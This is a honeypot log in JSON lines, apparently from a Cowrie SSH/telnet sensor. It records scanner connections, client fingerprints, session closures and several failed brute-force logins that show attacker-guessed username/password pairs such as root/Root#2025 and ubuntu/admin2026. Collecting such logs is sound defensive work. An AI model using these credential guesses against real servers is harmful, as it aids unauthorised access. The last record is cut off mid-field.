{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:08.715231Z","src_ip":"43.159.169.93","session":"68e9e9e3e4b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:08.829659Z","src_ip":"154.83.13.181","session":"eb8d7c0133cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root#2025","message":"login attempt [root/Root#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:09.018956Z","src_ip":"43.159.169.93","session":"68e9e9e3e4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:09.675502Z","src_ip":"62.193.106.227","session":"3ec56d8d6785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:10.047224Z","src_ip":"154.83.13.181","session":"eb8d7c0133cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:10.089908Z","src_ip":"43.159.169.93","session":"68e9e9e3e4b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.41265106201172,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:22.431815Z","src_ip":"152.42.224.71","session":"31f16f213b5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":42180,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3e2bb859f43","protocol":"ssh","message":"New connection: 43.159.35.21:42180 (10.17.0.5:22) [session: b3e2bb859f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:29.335372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:29.339901Z","src_ip":"43.159.35.21","session":"b3e2bb859f43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:29.578225Z","src_ip":"43.159.35.21","session":"b3e2bb859f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50944,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff518280c84","protocol":"telnet","message":"New connection: 152.42.224.71:50944 (10.17.0.5:23) [session: 3ff518280c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:29.617672Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2019","message":"login attempt [root/Root2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:30.563282Z","src_ip":"43.159.35.21","session":"b3e2bb859f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":49176,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c87b9371333","protocol":"ssh","message":"New connection: 43.153.22.143:49176 (10.17.0.5:22) [session: 7c87b9371333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:30.788230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:30.793136Z","src_ip":"43.153.22.143","session":"7c87b9371333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:30.863818Z","src_ip":"43.153.22.143","session":"7c87b9371333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jacky","message":"login attempt [root/jacky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:31.163911Z","src_ip":"43.153.22.143","session":"7c87b9371333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:31.804120Z","src_ip":"43.159.35.21","session":"b3e2bb859f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:32.233654Z","src_ip":"43.153.22.143","session":"7c87b9371333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50956,"dst_ip":"10.17.0.5","dst_port":23,"session":"937deaaf4090","protocol":"telnet","message":"New connection: 152.42.224.71:50956 (10.17.0.5:23) [session: 937deaaf4090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:35.448244Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":32934,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad503ab1f865","protocol":"ssh","message":"New connection: 58.186.20.143:32934 (10.17.0.5:22) [session: ad503ab1f865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:39.652769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:39.658057Z","src_ip":"58.186.20.143","session":"ad503ab1f865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:39.902467Z","src_ip":"58.186.20.143","session":"ad503ab1f865","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3","message":"login attempt [root/a1b2c3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:40.904887Z","src_ip":"58.186.20.143","session":"ad503ab1f865","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51724,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9be5b9a065b","protocol":"telnet","message":"New connection: 152.42.224.71:51724 (10.17.0.5:23) [session: a9be5b9a065b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:41.594454Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:42.152204Z","src_ip":"58.186.20.143","session":"ad503ab1f865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.001713514328,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:42.167037Z","src_ip":"152.42.224.71","session":"9be25ed56495","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":50146,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef52eaced543","protocol":"ssh","message":"New connection: 43.153.124.153:50146 (10.17.0.5:22) [session: ef52eaced543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:53.043619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:53.048318Z","src_ip":"43.153.124.153","session":"ef52eaced543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:53.115922Z","src_ip":"43.153.124.153","session":"ef52eaced543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinnick","message":"login attempt [root/alinnick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:53.419314Z","src_ip":"43.153.124.153","session":"ef52eaced543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:54.490882Z","src_ip":"43.153.124.153","session":"ef52eaced543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":53806,"dst_ip":"159.203.135.109","dst_port":22,"session":"6701bd72460f","protocol":"ssh","message":"New connection: 43.128.111.187:53806 (159.203.135.109:22) [session: 6701bd72460f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:59.020304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:59.025200Z","src_ip":"43.128.111.187","session":"6701bd72460f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:59.263751Z","src_ip":"43.128.111.187","session":"6701bd72460f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev1","password":"dev1","message":"login attempt [dev1/dev1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:00.248281Z","src_ip":"43.128.111.187","session":"6701bd72460f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:01.497059Z","src_ip":"43.128.111.187","session":"6701bd72460f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37478,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da06004ec27","protocol":"telnet","message":"New connection: 152.42.224.71:37478 (10.17.0.5:23) [session: 6da06004ec27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:05.140412Z"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":60276,"dst_ip":"159.203.135.109","dst_port":23,"session":"f11683735ea2","protocol":"telnet","message":"New connection: 18.218.118.203:60276 (159.203.135.109:23) [session: f11683735ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:10.991652Z"}
{"eventid":"cowrie.session.closed","duration":0.0365755558013916,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:11.028112Z","src_ip":"18.218.118.203","session":"f11683735ea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":37458,"dst_ip":"159.203.135.109","dst_port":22,"session":"34184660c7d7","protocol":"ssh","message":"New connection: 59.17.95.129:37458 (159.203.135.109:22) [session: 34184660c7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:11.838409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:11.848574Z","src_ip":"59.17.95.129","session":"34184660c7d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:12.052253Z","src_ip":"59.17.95.129","session":"34184660c7d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin2026","message":"login attempt [ubuntu/admin2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:12.878136Z","src_ip":"59.17.95.129","session":"34184660c7d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53112,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5d8a3756407","protocol":"telnet","message":"New connection: 152.42.224.71:53112 (10.17.0.5:23) [session: f5d8a3756407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:13.584943Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:14.078992Z","src_ip":"59.17.95.129","session":"34184660c7d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":37100,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a999bbd6a05","protocol":"ssh","message":"New connection: 43.153.69.201:37100 (10.17.0.5:22) [session: 4a999bbd6a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:14.442974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:00:14.455280Z","src_ip":"43.153.69.201","session":"4a999bbd6a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"lang